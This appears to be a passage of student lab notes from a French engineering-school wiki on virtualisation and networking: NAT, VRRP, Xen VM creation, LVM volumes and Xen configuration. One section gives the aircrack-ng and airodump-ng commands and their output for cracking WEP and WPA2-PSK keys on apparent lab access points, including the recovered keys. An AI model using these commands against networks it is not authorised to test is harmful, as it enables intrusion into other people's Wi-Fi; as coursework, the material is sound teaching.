=== Pourquoi les services sortent en IPv4 via “Masquerade” (NAT) ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème IPv4 ====&lt;br /&gt;
IPv4 = adresses sur 32 bits → ~4,3 milliards d’adresses max, et une grosse partie est réservée.&lt;br /&gt;
&lt;br /&gt;
Résultat : on ne peut pas donner une IPv4 publique à chaque machine du monde.&lt;br /&gt;
&lt;br /&gt;
==== La solution historique : NAT / Masquerade ====&lt;br /&gt;
On met les machines en '''IP privées''' (ex : &amp;lt;code&amp;gt;192.168.x.x&amp;lt;/code&amp;gt;), et une machine (le mandataire) “traduit” :&lt;br /&gt;
&lt;br /&gt;
* en interne : &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; (service)&lt;br /&gt;
* en externe : &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&lt;br /&gt;
Donc vu d’Internet, '''tout sort avec l’IP publique du mandataire'''.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; dans iptables : une forme de NAT automatique adaptée quand l’IP externe peut changer.&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi en IPv6 on fait de l’accès direct (pas de NAT) ===&lt;br /&gt;
IPv6 = 128 bits → un nombre d’adresses gigantesque (bien au-delà du “trillions” d'adresses).&lt;br /&gt;
&lt;br /&gt;
Du coup, on peut attribuer à chaque VM une IPv6 unique, routable.&lt;br /&gt;
&lt;br /&gt;
Conséquence :&lt;br /&gt;
&lt;br /&gt;
* pas besoin de NAT&lt;br /&gt;
* la VM est joignable directement (avec firewall bien sûr)&lt;br /&gt;
&lt;br /&gt;
Dans ton schéma, c’est l’arc “Accès direct IPv6” : les services sont accessibles depuis l’infra publique en IPv6 sans passer par la traduction du mandataire.&lt;br /&gt;
&lt;br /&gt;
=== VRRP : c’est quoi cette gateway &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; ? ===&lt;br /&gt;
&amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; = '''IP virtuelle VRRP''' portée par '''deux routeurs''' (redondance).&lt;br /&gt;
&lt;br /&gt;
* routeur A : &amp;lt;code&amp;gt;...163&amp;lt;/code&amp;gt;&lt;br /&gt;
* routeur B : &amp;lt;code&amp;gt;...164&amp;lt;/code&amp;gt;&lt;br /&gt;
* IP VRRP : &amp;lt;code&amp;gt;...162&amp;lt;/code&amp;gt; (celle que tu mets en gateway)&lt;br /&gt;
&lt;br /&gt;
Avantage :&lt;br /&gt;
&lt;br /&gt;
* si un routeur tombe, l’autre reprend l’IP VRRP&lt;br /&gt;
* tes machines ne changent pas leur config, ça continue de router&lt;br /&gt;
&lt;br /&gt;
Si tu mets directement &amp;lt;code&amp;gt;.163&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;.164&amp;lt;/code&amp;gt; en gateway :&lt;br /&gt;
&lt;br /&gt;
* tu forces l’utilisation d’un routeur précis&lt;br /&gt;
* tu perds la redondance (si celui-là tombe, plus de sortie)&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12378</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12378"/>
		<updated>2026-02-24T14:26:14Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* VRRP : c’est quoi cette gateway 193.48.57.162 ? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
